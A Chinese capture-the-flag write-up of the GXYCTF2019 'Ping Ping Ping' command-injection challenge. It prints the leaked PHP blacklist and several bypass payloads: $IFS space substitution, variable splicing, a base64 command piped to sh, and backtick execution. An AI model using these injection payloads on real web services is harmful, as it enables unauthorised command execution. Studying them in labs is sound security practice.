[GXYCTF2019]Ping Ping Ping
进去关键字是IP,get传参 ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
读取目录下文件
?ip=127.0.0.1;ls
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php
尝试读取flag.php
?ip=127.0.0.1;cat%20flag.php
?ip= fxck your space!//空格被ban
绕过空格
?ip=127.0.0.1;cat$IFS$1flag.php
?ip= fxck your flag!//flag被ban
读取index.php
?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){// 这里的 . 匹配任意单个字符,* 表示前一个模式重复 0 次或多次,因此整个正则会拦截按顺序出现 f、l、a、g 的字符串
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
可以看到过滤了字符
变量拼接
payload
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php//查看源代码可发现flag
sh命令
payload
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
内联执行
payload
?ip=127.0.0.1;cat$IFS$9`ls`
评论将在接近此处时加载,也可点击立即加载。